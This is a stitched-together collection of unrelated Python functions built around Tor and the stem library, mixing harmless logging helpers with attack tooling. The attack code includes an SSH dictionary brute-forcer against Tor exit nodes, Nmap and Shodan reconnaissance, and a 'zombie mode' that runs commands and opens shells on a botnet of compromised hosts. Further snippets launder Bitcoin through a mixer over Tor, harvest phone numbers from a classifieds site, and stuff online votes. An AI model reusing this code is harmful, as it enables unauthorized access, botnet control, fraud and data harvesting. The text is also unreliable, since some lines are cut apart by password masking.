def fun3(DNSObj, WEBObj): count = 0 DNSouterList = [] for obj in DNSObj: # get all the dns ip wittout repetation innerList = [] dnsIP = DNSObj[obj]['Request']['SrcIP'] #.encode("ascii") dnsDomainfull = DNSObj[obj]['Request']['Domain'] #.encode("ascii") dnsDomainfull = [x.strip() for x in dnsDomainfull.split('.') ][0] # remove the domain: dnstestsuite.space temp = '' dnsExitnodeIP = [x.strip() for x in dnsDomainfull.split('_') ][-1:][0] # get the ip of the exitnode if (dnsExitnodeIP.__contains__('-')): if dnsIP not in DNSouterList: DNSouterList.append(dnsIP) DNSouterList = set(DNSouterList) DNSList = [] for obj in DNSouterList: node = DNSObject(obj) DNSList.append(node) for DnsNodeObj in DNSList: tempNodeList = [] count = 1 + count for Dns in DNSObj: dnsIP = DNSObj[Dns]['Request']['SrcIP'] if dnsIP == DnsNodeObj.DNSIP: nodeDomainfull = DNSObj[Dns]['Request']['Domain'] nodeModifiedDomainfull = DNSObj[Dns]['Request'][ 'modifiedDomain'] nodeDomain = [x.strip() for x in nodeDomainfull.split('.') ][0] # remove the domain: dnstestsuite.space dnsExitnodeIP = [x.strip() for x in nodeDomain.split('_') ][-1:][0] # get the ip of the exitnode if (dnsExitnodeIP.__contains__('-')): dnsExitnodeIP = dnsExitnodeIP.replace("-", ".") if dnsExitnodeIP not in tempNodeList: tempNodeList.append(dnsExitnodeIP) exitnode = ExitNodeObject(dnsExitnodeIP, nodeDomain, nodeModifiedDomainfull) DnsNodeObj.insertNode(exitnode) DnsNodeObj.count += 1 for DnsNodeObj in DNSList: index = 0 print( term.format( 'DNS Resolver IP: %s - Exitnode: %d ' % (DnsNodeObj.DNSIP, DnsNodeObj.count), term.Color.GREEN)) for node1 in DnsNodeObj.list: index += 1 print( term.format(" %d - %s " % (index, node1.nodeIP), term.Color.YELLOW)) print() print(+count)
def __init__(self, cli, tortazoBots): self.filterBots = [] self.excludedBots = [] self.cli = cli if self.cli.zombieMode.lower() != "all": self.cli.logger.info(term.format("[+] Entering Zombie Mode... ", term.Color.YELLOW)) botsExcluded = cli.zombieMode.split(",") for bot in tortazoBots: if bot.nickname.rstrip("\n") in botsExcluded: self.cli.logger.info( term.format("[+] Excluding Nickname: " + bot.nickname.rstrip("\n"), term.Color.YELLOW) ) self.excludedBots.append(bot) else: self.filterBots.append(bot) else: self.cli.logger.info(term.format("[+] Entering Zombie Mode... Including all bots ", term.Color.YELLOW)) self.filterBots = tortazoBots for bot in self.filterBots: host = bot.user + "@" + bot.host + ":" + bot.port bot.host = host env.hosts.append(bot.host) env.passwords[bot.host] = bot.password self.cli.logger.debug(term.format("[+] Adding Bot: " + bot.host, term.Color.GREEN))
def create_usual_wallet(blockchain_api_key): print(term.format("New Usual Wallet\n", term.Attr.BOLD)) # generate a random password # https://pythontips.com/2013/07/28/generating-a-random-string/ main_password = ''.join([ random.choice(string.ascii_letters + string.digits) for n in xrange(12) ]) # query blockchain to create wallet with clearnet url GET_request = clearnet_url + create_wallet_endpoint + "api_code=" + blockchain_api_key \ + "&password="******"guid"] # wallet bitcoin address address = parsed_response["address"] return (guid, main_password, address)
def generate_secret_address_from_wallet(guid, password, address): # new address is secret only if secret wallet is used print(term.format("New Secret Address\n", term.Attr.BOLD)) # start Tor instance with exit node at Russia print(term.format("Starting Tor:\n", term.Attr.BOLD)) tor_process = stem.process.launch_tor_with_config( timeout=300, config={ 'SocksPort': str(SOCKS_PORT), #'ExitNodes': '{ru}', }, init_msg_handler=print_bootstrap_lines, ) # query blockchain to generate new address with onion url GET_request = onion_url + transaction_endpoint + guid + generate_new_address \ + "password="******"address"] # stop Tor instance tor_process.kill() return address
def run(self) : lock = threading.Lock() while True : lock.acquire() host = None try: self.torNode = self.queue.get() #values = self.queue.get() #self.ip, self.descriptor = values[0] #self.ports = values[1] if self.cli.brute is True: #if self.cli.dictFile is not None: for method in self.bruteForcePorts.keys(): for openPort in self.torNode.openPorts: if self.bruteForcePorts[method] == openPort: #Open port detected for a service supported in the "Brute-Forcer" #Calling the method using reflection. containedMethod = getattr(self, method) if callable(containedMethod): containedMethod() #else: # self.cli.logger.warn(term.format("[-] BruteForce mode specified but there's no files for users and passwords. Use -f option", term.Color.RED)) except Queue.Empty : self.cli.logger.debug(term.format("[+] Worker %d exiting... "%self.tid, term.Color.GREEN)) finally: self.cli.logger.debug(term.format("[+] Releasing the Lock in the Thread %d "%self.tid, term.Color.GREEN)) lock.release() self.queue.task_done()
def startScraping(scraperFunction, SOCKS_PORT=7010): """ Initialize TOR and call scraper functions """ socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', SOCKS_PORT) socket.socket = socks.socksocket print term.format("Starting Tor:\n", term.Attr.BOLD) try: tor_process = stem.process.launch_tor_with_config( config={'SocksPort': str(SOCKS_PORT)}, init_msg_handler=print_bootstrap_lines) print term.format("\nChecking endpoint:\n", term.Attr.BOLD) print getWithTOR("https://www.atagar.com/echo.php") print term.format("Scraping - please do not turn me off", term.Attr.BOLD) scraperFunction() print term.format("Scraping done", term.Attr.BOLD) tor_process.kill() # goodnight tor, see you next time except: print term.format( "TOR could not be started. Now running 'killall tor'. Please try again.", term.Attr.BOLD) os.system("killall tor")
def addMovieToDatabase(title, video_src, duration, description, quality, rating): global entity_id season = 0 episode = 0 results = Video.query.filter_by(title=title) if Video.query.filter_by( title=title).first() is None: # results.first().title: # if no element exists. Create new element and run again video = Video(title=title, description=description, video_src=video_src, \ isMovie=1, release_date='', views=0, duration=duration, season=int(season), \ episode=int(episode), rating=rating, quality=quality, video_id=int(entity_id) ) db.session.add(video) db.session.commit() #Video.query.filter_by(title=title).first().video_id = entity_id db.session.commit() print( term.format( term.format('[√] ', term.Color.GREEN) + 'Successfully added >> [ ' + title + ' ] << to the database.', term.Attr.BOLD)) #addEpisodeToDatabase(title, episode, video_src, duration, description, quality, rating) else: Video.query.filter_by(title=title).first().video_id = entity_id return
def align_results(line_type, line_content): """ Strips the normal test results, and adds a right aligned variant instead with a bold attribute. """ if line_type == LineType.CONTENT: return line_content # strip our current ending for ending in LINE_ENDINGS: if LINE_ENDINGS[ending] == line_type: line_content = line_content.replace(ending, "", 1) break # skipped tests have extra single quotes around the reason if line_type == LineType.SKIPPED: line_content = line_content.replace("'(", "(", 1).replace(")'", ")", 1) if line_type == LineType.OK: new_ending = "SUCCESS" elif line_type in (LineType.FAIL, LineType.ERROR): new_ending = "FAILURE" elif line_type == LineType.SKIPPED: new_ending = "SKIPPED" else: assert False, "Unexpected line type: %s" % line_type return line_content if CONFIG["argument.no_color"]: return "%-61s[%s]" % (line_content, term.format(new_ending)) else: return "%-61s[%s]" % (line_content, term.format(new_ending, term.Attr.BOLD))
def do_python(self, arg): """ Performs the '/python' operation, toggling if we accept python commands or not. """ if not arg: status = 'enabled' if self._run_python_commands else 'disabled' return format('Python support is currently %s.' % status, *STANDARD_OUTPUT) elif arg.lower() == 'enable': self._run_python_commands = True elif arg.lower() == 'disable': self._run_python_commands = False else: return format( "'%s' is not recognized. Please run either '/python enable' or '/python disable'." % arg, *ERROR_OUTPUT) if self._run_python_commands: response = "Python support enabled, we'll now run non-interpreter commands as python." else: response = "Python support disabled, we'll now pass along all commands to tor." return format(response, *STANDARD_OUTPUT)
def __init__(self, cli, tortazoBots): self.filterBots = [] self.excludedBots = [] self.cli = cli if self.cli.zombieMode.lower() != "all": self.cli.logger.info( term.format("[+] Entering Zombie Mode... ", term.Color.YELLOW)) botsExcluded = cli.zombieMode.split(",") for bot in tortazoBots: if bot.nickname.rstrip("\n") in botsExcluded: self.cli.logger.info( term.format( "[+] Excluding Nickname: " + bot.nickname.rstrip("\n"), term.Color.YELLOW)) self.excludedBots.append(bot) else: self.filterBots.append(bot) else: self.cli.logger.info( term.format("[+] Entering Zombie Mode... Including all bots ", term.Color.YELLOW)) self.filterBots = tortazoBots for bot in self.filterBots: host = bot.user + "@" + bot.host + ":" + bot.port bot.host = host env.hosts.append(bot.host) env.passwords[bot.host] = bot.password self.cli.logger.debug( term.format("[+] Adding Bot: " + bot.host, term.Color.GREEN))
def test(): cnt = 0 file_ = open("tor-test.log", 'w') file_.close() while (cnt < 500): print(term.format("Starting Tor:\n", term.Attr.BOLD)) try: time.sleep(1) tor_process = launch_tor_service() ''' tor_process = stem.process.launch_tor_with_config( config = { 'SocksPort': str(SOCKS_PORT), 'ExitNodes': '{ru}', 'GeoIPFile': '/home/isec/projects/test-tor/tor-0.2.6.10/src/config\geoip', 'FascistFirewall':'1', 'GeoIPv6File': '/home/isec/projects/test-tor/tor-0.2.6.10/src/config\geoip6' }, init_msg_handler = print_bootstrap_lines, ) ''' print(term.format("\nChecking our endpoint:\n", term.Attr.BOLD)) time1 = time.time() print(term.format(query(dest_address), term.Color.BLUE)) t = time.time() - time1 tor_process.kill() # stops tor file_ = open("tor-test.log", 'a') file_.write('{0}:\n'.format(t)) print 'download:{0}:\t:time:{1}'.format(cnt, t) cnt += 1 file_.close() except: cnt += 1
def check_secret_address_balance(guid, password, address): print(term.format("Check Secret Address Balance\n", term.Attr.BOLD)) # start Tor instance with exit node at Russia print(term.format("Starting Tor:\n", term.Attr.BOLD)) tor_process = stem.process.launch_tor_with_config( timeout=300, config={ 'SocksPort': str(SOCKS_PORT), #'ExitNodes': '{ru}', }, init_msg_handler=print_bootstrap_lines, ) # query blockchain to check address balance with onion url GET_request = onion_url + transaction_endpoint + guid + address_balance \ + "password="******"&address=" + address response = query(GET_request) print(term.format(response, term.Color.BLUE)) # check secret address balance, without your IP trace parsed_response = json.loads(response) # address balance in satoshi balance = parsed_response["balance"] # stop Tor instance tor_process.kill() return balance
def __launch_tor_with_config(self, tor_config, tor_cmd): if not tor_config: tor_config = { 'SocksPort': str(self.socks_port), 'ControlPort': str(self.controller_port) } if not tor_cmd: if self.verbose: print( str(datetime.now()) + ' - ' + term.format( '''Missing tor_cmd argument. You need to specify TOR's location in your system''', term.Color.RED)) print( str(datetime.now()) + ' - ' + term.format( '''We will try using the default value, but it might fail''', term.Color.RED)) tor_cmd = 'tor' if self.verbose: init_msg_handler = self.__print_init_msg else: init_msg_handler = None return launch_tor_with_config(tor_cmd=tor_cmd, config=tor_config, init_msg_handler=init_msg_handler, take_ownership=True)
def sshBrute(self): ''' Perform the SSH Bruteforce attack. ''' self.cli.logger.debug(term.format("[+] Starting SSH BruteForce mode on Thread: %d " %self.tid, term.Color.GREEN)) if(self.cli.dictFile is not None and os.path.exists(self.cli.dictFile)): self.cli.logger.debug(term.format("[+] Reading the Passwords file %s " %(self.cli.dictFile), term.Color.GREEN)) for line in open(self.cli.dictFile, "r").readlines(): [user, passwd] = line.strip().split(self.cli.SEPARATOR) if self.performSSHConnection(user, passwd): break else: self.cli.logger.warn(term.format("[-] Dictionary file not found on the path %s" %(self.cli.dictFile), term.Color.RED)) usersList = self.getUserlistFromFuzzDB() passList = self.getPasslistFromFuzzDB() stop_attack = False for user in usersList: if stop_attack: break for passwd in passList: if self.performSSHConnection(user, passwd): stop_attack = True break
def align_results(line_type, line_content): """ Strips the normal test results, and adds a right aligned variant instead with a bold attribute. """ if line_type == LineType.CONTENT: return line_content # strip our current ending for ending in LINE_ENDINGS: if LINE_ENDINGS[ending] == line_type: line_content = line_content.replace(ending, '', 1) break # skipped tests have extra single quotes around the reason if line_type == LineType.SKIPPED: line_content = line_content.replace("'(", "(", 1).replace(")'", ")", 1) if line_type == LineType.OK: new_ending = 'SUCCESS' elif line_type in (LineType.FAIL, LineType.ERROR): new_ending = 'FAILURE' elif line_type == LineType.SKIPPED: new_ending = 'SKIPPED' else: assert False, 'Unexpected line type: %s' % line_type return line_content if COLOR_SUPPORT: return '%-61s[%s]' % (line_content, term.format(new_ending, term.Attr.BOLD)) else: return '%-61s[%s]' % (line_content, term.format(new_ending))
def interrupt_handler(signal, frame): printtime() print term.format('Afslutter.\n', term.Color.BLUE) kill_tor() sys.exit(0)
def loadAndExecute(self, listPlugins, torNodesFound): #simplePlugin:simplePrinter if listPlugins is None: self.logger.warn((term.format( "[-] You should specify a plugin with the option -P/--use-plugin", term.Color.YELLOW))) return pluginModule, pluginClass = listPlugins.split(":") if pluginModule is None or pluginClass is None: self.logger.info((term.format( "[-] Format " + listPlugins + " invalid. Check the documentation to use plugins in Tortazo", term.Color.YELLOW))) return try: module = __import__("plugins." + pluginModule) pluginArguments = pluginClass.split(',') pluginClassName = pluginArguments[0] components = ("plugins." + pluginModule + "." + pluginClassName).split('.') self.logger.debug((term.format("[+] Loading plugin...", term.Color.GREEN))) for comp in components[1:]: module = getattr(module, comp) reference = module(torNodesFound) reference.runPlugin() self.logger.debug((term.format("[+] Done!", term.Color.GREEN))) except ImportError, importErr: print "Unexpected error:", sys.exc_info() self.logger.warn((term.format( "[-] Error loading the class. Your plugin class should be located in 'plugins' package. Check if " + pluginModule + "." + pluginClass + " exists", term.Color.RED)))
def validate_anonymity(self): if get_IP_address(self.session) == _local_IP: err = "TOR connection leaked IP! Exiting" raise ValueError(err) else: line = " Local and TOR IP address differ, continuing" print XTERM.format(line, XTERM.Color.WHITE)
def souk_ma_crawler(begin=1, n=10): """ Souk.ma Crawler : Permet de récupérer les numéros de téléphone disponible sur Souk.ma. :param begin: Par où commencer la récupération (numéro de page). :param n: Nombre de numéros souhaités :return: Liste contenant les numéros. """ nums = [] iterations = {'success': 0, 'failure': 0} page = begin new_identity() while len(nums) < n: soup = BeautifulSoup(get_html("http://www.souk.ma/fr/Maroc/&p="+str(page)), "html.parser") if "Sorry, there are no Web results for this search!" in soup: print(term.format("Vous atteint la limite des résultats de recherche .\n", term.Color.RED)) break if len(soup.find_all('div', class_="desc")): iterations["success"] += 1 else: iterations["failure"] += 1 new_identity() continue for div in soup.find_all('div', class_="desc"): if div.h2: annonce = BeautifulSoup(get_html(div.h2.a['href']), "html.parser") try: if annonce.find_all('div', class_="userinfo-pro"): if annonce.find_all('div', class_="inner")[0].contents[7].text[0] == '0': nums.append(annonce.find_all('div', class_="inner")[0].contents[7].text) elif annonce.find_all('div', class_="userinfo"): if annonce.find_all('i', class_="icon-envelope")[1].parent.parent.text[0] == '0': nums.append(annonce.find_all('i', class_="icon-envelope")[1].parent.parent.text) except: continue sys.stdout.write("\r" + OKGREEN + "Avancement : " + str(len(nums)) + " / " + str(n) + ENDC) sys.stdout.flush() if len(nums) >= n: break print() page += 1 if use_tor: print(term.format("Arret de Tor.\n", term.Attr.BOLD)) kill_tor() return nums[:n]
def new_identity(): if use_tor: print(term.format("Nouvelle identite : "+get_ip()+"\n", term.Color.BLUE)) kill_tor() init_tor() else: print(term.format("Lancement de Tor.\n", term.Attr.BOLD)) init_tor()
def isYourRealIP(): real = clearquery("https://www.atagar.com/echo.php") hidden = torquery("https://www.atagar.com/echo.php") print term.format('Your real IP is : ' + real, term.Color.YELLOW) if real == hidden: return True else: return False
def printMsg(self, line="DUMMY MESSAGE LINE", filter_string="", color=term.Color.BLUE): if filter_string != "": if filter_string in line: print(term.format(line, color)) else: print(term.format(line, color))
def printLogo(): # print( term.format(('\n Starting TOR MAPPER.. v%s' % VERSION), term.Color.YELLOW)) with open('Logo/logo.txt', 'r') as f: line_Arr = f.read() print(term.format((line_Arr % str(VERSION)), term.Color.GREEN)) print('\n')
def bootstrapTor(line): pos = line.find("Bootstrapped ") if (pos != -1): print(term.format(line[pos:], term.Color.BLUE)) elif (DebugMode): pos = line.find('[') if (pos != -1): debugMsg(term.format(line[pos:], term.Color.CYAN)) else: debugMsg("Unexpected Tor bootstap line: " + line)
def print_bootstrap_lines(line): # if "Bootstrapped " in line: # if "Done" in line: # print(term.format(line, term.Color.GREEN)) # elif "[warn]" in line: # print(term.format(line, term.Color.YELLOW)) # elif "[error]" in line: # print(term.format(line, term.Color.RED)) # else: # print(term.format(line, term.Color.CYAN)) #
def __init__(self, debugu): self.debugu = debugu if debugu == "y" or debugu == "f": debug = 1 elif debugu == "n": debug = 0 self.debug = debug import StringIO import socket import urllib import socks # SocksiPy module import stem.process from stem.util import term SOCKS_PORT = 7000 # Set socks proxy and wrap the urllib module socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', SOCKS_PORT) socket.socket = socks.socksocket # Perform DNS resolution through the socket def getaddrinfo(*args): return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))] socket.getaddrinfo = getaddrinfo # Start an instance of Tor configured to only exit through Russia. This prints # Tor's bootstrap information as it starts. Note that this likely will not # work if you have another Tor instance running. def print_bootstrap_lines(line): if "Bootstrapped " in line and self.debug == 1 : print term.format(line, term.Color.BLUE) if self.debug == 1: print term.format("Starting Tor:\n", term.Attr.BOLD) self.tor_process = stem.process.launch_tor_with_config( config = { 'SocksPort': str(SOCKS_PORT), 'ExitNodes': '{pl}', 'EntryNodes': '{pl}', }, init_msg_handler = print_bootstrap_lines, )
def printLogo(): try: with open('Logo/logo.txt', 'r') as f: lineArr = f.read() print(term.format(str(lineArr), term.Color.GREEN)) with open('Logo/logo2.txt', 'r') as f: lineArr = f.read() print(term.format((str(lineArr) % str(VERSION)), term.Color.YELLOW)) except Exception as ex: print('ERROR: printLogo - ' + str(ex))
def logs_tor(log): if "Bootstrapped " in log: print term.format(log, term.Color.GREEN) tor_process = stem.process.launch_tor_with_config( config={ 'SocksPort': '9000', 'ExitNodes': '{es}', }, init_msg_handler=logs_tor, )
def runOnBotnet(self, command): try: with hide("running", "stdout", "stderr"): if command.strip()[0:5] == "sudo": results = sudo(command) else: results = run(command) except: results = "Unexpected error:", sys.exc_info()[0] self.cli.logger.error(term.format("[-] Exception executing command: " + command, term.Color.RED)) self.cli.logger.error(term.format("[-] Trace of the exception: " + str(results), term.Color.RED)) return results
def pobierz(self, url): if self.debugu == 'f': print "pobieram" def query(self, url): "Uses urllib to fetch a site using SocksiPy for Tor over the SOCKS_PORT." try: return urllib.urlopen(url).read() except: return "Unable to reach %s" % url print term.format("\nChecking our endpoint:\n", term.Attr.BOLD) print term.format(query("https://www.atagar.com/echo.php"), term.Color.BLUE) return urllib.urlopen(url)
def isExitNodeIn(country): print(term.format("\nChecking our endpoint:\n", term.Attr.BOLD)) locale = 'Locale: {0}'.format(country.upper()) response = torquery("https://www.atagar.com/echo.php") if locale in response: print(term.format("You new IP is : " + response, term.Color.GREEN)) return True else: print(term.format(response, term.Color.RED)) return False
def get_secret_mixing_address(forward_address): # forward_address is the receiver's Bitcoin address that you want to make # payment. privcoin then gives you a mixing address for you to send bitcoin. # the bitcoin amount is mixed and ultimately forwarded to forward_address print(term.format("Get Secret Mixing Address\n", term.Attr.BOLD)) # start Tor instance with exit node at Russia print(term.format("Starting Tor:\n", term.Attr.BOLD)) tor_process = stem.process.launch_tor_with_config( timeout=300, config={ 'SocksPort': str(SOCKS_PORT), #'ExitNodes': '{ru}', }, init_msg_handler=print_bootstrap_lines, ) # random time delay (0 - 24 hours) to reach forward_address #time_delay = "0" time_delay = str(random.randint(0, 24)) # minimum bitcoin transaction fee to pay privcoin minimum_service_fee = "0.8" # query privcoin to get mixing address with onion url GET_request = onion_url + get_mixing_address_endpoint + "addr1=" + forward_address \ + "&pr1=100" + "&time1=" + time_delay + "&fee=" + minimum_service_fee response = query(GET_request) print(term.format(response, term.Color.BLUE)) # new secret mixing address, without your IP trace parsed_response = json.loads(response) # check request status status = parsed_response["status"] if (status != "success"): # alert request error message message = parsed_response["message"] # fix error before query again print(term.format("Failed: " + message + "\n", term.Attr.BOLD)) return "" # request successful, parse mixing address mixing_address = parsed_response["address"] # privcoin mixing id mixing_id = parsed_response["bitcode"] # stop Tor instance tor_process.kill() return (mixing_address, mixing_id)
def _general_help(): lines = [] for line in msg('help.general').splitlines(): div = line.find(' - ') if div != -1: cmd, description = line[:div], line[div:] lines.append(format(cmd, *BOLD_OUTPUT) + format(description, *STANDARD_OUTPUT)) else: lines.append(format(line, *BOLD_OUTPUT)) return '\n'.join(lines)
def connect(self): self.connection = stem.process.launch_tor_with_config( config={ 'SocksPort': str(SOCKS_PORT), 'ExitNodes': '{ru}', }, init_msg_handler=print_bootstrap_lines, ) print(term.format("\nChecking our endpoint:\n", term.Attr.BOLD)) print( term.format(self.query("https://www.atagar.com/echo.php"), term.Color.BLUE))
def __init__(self, debugu): self.debugu = debugu if debugu == "y" or debugu == "f": debug = 1 elif debugu == "n": debug = 0 self.debug = debug import StringIO import socket import urllib import socks # SocksiPy module import stem.process from stem.util import term SOCKS_PORT = 7000 # Set socks proxy and wrap the urllib module socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', SOCKS_PORT) socket.socket = socks.socksocket # Perform DNS resolution through the socket def getaddrinfo(*args): return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))] socket.getaddrinfo = getaddrinfo # Start an instance of Tor configured to only exit through Russia. This prints # Tor's bootstrap information as it starts. Note that this likely will not # work if you have another Tor instance running. def print_bootstrap_lines(line): if "Bootstrapped " in line and self.debug == 1: print term.format(line, term.Color.BLUE) if self.debug == 1: print term.format("Starting Tor:\n", term.Attr.BOLD) self.tor_process = stem.process.launch_tor_with_config( config={ 'SocksPort': str(SOCKS_PORT), 'ExitNodes': '{pl}', 'EntryNodes': '{pl}', }, init_msg_handler=print_bootstrap_lines, )
def vote(): print "" printtime() print term.format(32 * "▩" + " STEMMER " + 33 * "▩", term.Attr.BOLD) headers = make_headers() url = "https://www.dr.dk/tjenester/radio/radio/ChartList/chartvote" # url = "https://httpbin.org/everything" # Debug URL printtime() print term.format("Bruger user-agent: \"%s\" ", term.Color.BLUE) % (headers["User-Agent"][:50] + "...") printtime() print term.format('Stemme sendt. Venter på svar fra serveren...', term.Color.BLUE) req = requests.post(url, headers=headers, proxies=proxies, data=json.dumps(vote_post_data)) if "Registered" not in req.text: printtime() print term.format('FEJL I SERVERSVAR: %s' % req.text, term.Color.RED, term.Attr.BOLD) tor_process.kill() sys.exit()
def start(): file = open("fp.txt", mode="r") for line in file.readlines(): line = line.strip() tor_process = None global atline atline += 1 try: print("Testing " + str(line) + " [" + str(atline) + " of " + str(xlines) + " tested]") tor_process = stem.process.launch_tor_with_config(config={ 'SocksPort': str(SOCKS_PORT), 'ExitNodes': str(line), "DataDirectory": tempfile.gettempdir() + os.pathsep + str(SOCKS_PORT) }, timeout=TIMEOUT) m = hashlib.sha256() r = requests.get(url, timeout=15) if r.status_code == 200: m = hashlib.sha256() m.update(r.content) if m.hexdigest() == file_hash: print( term.format("Not modified for node " + line, term.Color.GREEN)) tor_process.kill() else: print( term.format( "The hashsum does not match for fingerprint " + line, term.Color.RED)) f = open(str(line).strip('\n'), 'wb') f.write(r.content) f.close() tor_process.kill() except Exception as e: print(str(e)) if not tor_process is None: tor_process.kill() if not tor_process is None: tor_process.kill() file.close()
def start(self): def print_bootstrap_lines(line): if "Bootstrapped " in line: print term.format(line, term.Color.BLUE) print term.format("Starting Tor:\n", term.Attr.BOLD) self.tor_process = stem.process.launch_tor_with_config( config = { 'SocksPort': str(self.sock_port), 'ExitNodes': '{'+self.country+'}', }, init_msg_handler = print_bootstrap_lines, )
def printLogo(version, modifyDate): try: print( term.format(( '\n Starting Mini DNS Server.. v%s - Last modified: %s' % (version, modifyDate)), term.Color.YELLOW)) with open('Logo/logo.txt', 'r') as f: lineArr = f.read() print(term.format(str(lineArr), term.Color.GREEN)) with open('Logo/logo2.txt', 'r') as f: lineArr = f.read() print(term.format(str(lineArr), term.Color.RED)) except Exception as ex: logging.error('printLogo - ' + str(ex))
def getUserlistFromFuzzDB(self): ''' Reads: fuzzdb/wordlists-user-passwd/names/namelist.txt fuzzdb/wordlists-user-passwd/passwds/john.txt fuzzdb/wordlists-user-passwd/unix-os/unix-users.txt fuzzdb/wordlists-user-passwd/faithwriters.txt and returns a list of words (used as possible usernames) ''' self.cli.logger.debug(term.format("[+] Generating users list using the files in FuzzDB", term.Color.GREEN)) users = [] try: namelist = open('fuzzdb/wordlists-user-passwd/names/namelist.txt', 'r') johnlist = open('fuzzdb/wordlists-user-passwd/passwds/john.txt', 'r') unixusers = open('fuzzdb/wordlists-user-passwd/unix-os/unix_users.txt', 'r') faithwriters = open('fuzzdb/wordlists-user-passwd/faithwriters.txt', 'r') except: print sys.exc_info() for userNameList in namelist.readlines(): users.append(userNameList) for userJohnList in johnlist.readlines(): users.append(userJohnList) for userunix in unixusers.readlines(): users.append(userunix) for userfaithwriter in faithwriters.readlines(): users.append(userfaithwriter) return users
def kill_tor(self): try: self.tor_process.kill() print(term.format("\nTor Instance Killed.", term.Attr.BOLD)) return True except NameError as e: return False
def f(): prices_list = [] for item in urls: prices_list.append(get_buy_price(item)) print(term.format(curl("https://www.atagar.com/echo.php"), term.Color.YELLOW)) with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor: executor.map(main_function, urls, prices_list)
def colorize(line_type, line_content): """ Applies escape sequences so each line is colored according to its type. """ if CONFIG["argument.no_color"]: return line_content else: return term.format(line_content, *LINE_ATTR[line_type])
def getPasslistFromFuzzDB(self): ''' Reads: fuzzdb/wordlists-user-passwd/passwds/john.txt fuzzdb/wordlists-user-passwd/unix-os/unix-passwords.txt fuzzdb/wordlists-user-passwd/weaksauce.txt and returns a list of words (used as possible usernames) ''' self.cli.logger.debug(term.format("[+] Generating passwords list using the files in FuzzDB", term.Color.GREEN)) passwords = [] johnlist = open('fuzzdb/wordlists-user-passwd/passwds/john.txt', 'r') unixpasswords = open('fuzzdb/wordlists-user-passwd/unix-os/unix_passwords.txt', 'r') weaksauce = open('fuzzdb/wordlists-user-passwd/passwds/weaksauce.txt', 'r') for johnpass in johnlist.readlines(): passwords.append(johnpass) for unixpass in unixpasswords.readlines(): passwords.append(unixpass) for wealsauce in weaksauce.readlines(): passwords.append(wealsauce) return passwords
def print_noline(msg, *attr): if CONFIG["argument.no_color"]: sys.stdout.write(msg) sys.stdout.flush() else: sys.stdout.write(term.format(msg, *attr)) sys.stdout.flush()
def main(): try: startTor() print(term.format(" [+] Checking Endpoint...", term.Attr.BOLD)) ExternalIP = connection() TORIP = query("https://www.atagar.com/echo.php") if ExternalIP == TORIP: print(term.format(" [!] FAILED TO CONNECT TO TOR", term.Color.RED)) exit(1) else: print(term.format(" [+] Successfully Connected to TOR", term.Attr.BOLD)) ## ADD STEPS HERE stopTor() # stops tor except Exception as e: print "ERROR: {error}".format(error=e) stopTor() # stops tor
def recordNmapScan(self, scan, descriptor): #Performs the NMap scan using python-nmap library. Returns the exitnodes with the open ports found in the scanning process. for host in scan.all_hosts(): torNode = TorNodeData() torNode.host = host torNode.nickName = descriptor.nickname torNode.fingerprint = descriptor.fingerprint torNode.torVersion = descriptor.tor_version if descriptor.contact is not None: torNode.contactData = descriptor.contact.decode("utf-8", "replace") if scan[host].has_key('status'): torNode.state = scan[host]['status']['state'] torNode.reason = scan[host]['status']['reason'] for protocol in ["tcp", "udp", "icmp"]: if scan[host].has_key(protocol): ports = scan[host][protocol].keys() for port in ports: torNodePort = TorNodePort() torNodePort.port = port torNodePort.state = scan[host][protocol][port]['state'] if scan[host][protocol][port].has_key('reason'): torNodePort.reason = scan[host][protocol][port]['reason'] if scan[host][protocol][port].has_key('name'): torNodePort.name = scan[host][protocol][port]['name'] if scan[host][protocol][port].has_key('version'): torNodePort.version = scan[host][protocol][port]['version'] if 'open' in (scan[host][protocol][port]['state']): torNode.openPorts.append(torNodePort) else: torNode.closedFilteredPorts.append(torNodePort) self.exitNodes.append(torNode) else: self.cli.logger.warn(term.format("[-] There's no match in the Nmap scan with the specified protocol %s" %(protocol), term.Color.RED))
def launch_tor(country): print(term.format("Starting Tor with exit node in %s:" % (country), term.Attr.BOLD)) try: tor_process = stem.process.launch_tor_with_config( config = { 'SocksPort': str(SOCKS_PORT), 'ControlPort': str(CONTROL_PORT), 'ExitNodes': "{"+country+"}", }, timeout = 30, # init_msg_handler = print_bootstrap_lines, ) # finally: # print("test") except OSError: print("Timeout when trying to find relay....") return 0 # Add listener with Controller.from_port(port = CONTROL_PORT) as controller: controller.authenticate() stream_listener = functools.partial(stream_event, controller) controller.add_event_listener(stream_listener, EventType.STREAM) return tor_process
def shodanSearchByHost(self, shodanKey, ip): ''' Search in Shodan by host. This function needs the shodanKey and the IP address of the host. ''' self.cli.logger.debug(term.format("[+] Using Shodan against %s " %(ip), term.Color.GREEN)) try: self.shodanApi = shodan.Shodan(shodanKey) self.results = self.shodanApi.host(ip) shodanHost = ShodanHost() shodanHost.keyInfo = self.shodanApi.info() shodanHost.host = ip self.extract(self.results, shodanHost.results) return shodanHost except shodan.APIError: self.cli.logger.error(term.format("[-] There's no information about %s in the Shodan Database." %(ip), term.Color.RED)) pass
def openShell(self, hostId): for bot in self.filterBots: if int(hostId) == bot.hostId: self.cli.logger.debug(term.format("[+] Opening Shell: " + str(bot.hostId), term.Color.GREEN)) """ hostId-1 because is an array (starting from 0 index) """ execute(open_shell, host=env.hosts[bot.hostId - 1])
def initTor(self): return None; self.tor_process = stem.process.launch_tor_with_config( #tor_cmd="extras/Tor/tor", config = {'SocksPort': str(SOCKS_PORT)}, init_msg_handler = lambda line : logging.info( term.format(line, term.Color.BLUE) ) )
def do_events(self, arg): """ Performs the '/events' operation, dumping the events that we've received belonging to the given types. If no types are specified then this provides all buffered events. If the user runs '/events clear' then this clears the list of events we've received. """ event_types = arg.upper().split() if 'CLEAR' in event_types: del self._received_events[:] return format('cleared event backlog', *STANDARD_OUTPUT) return '\n'.join([format(str(e), *STANDARD_OUTPUT) for e in self.get_events(*event_types)])
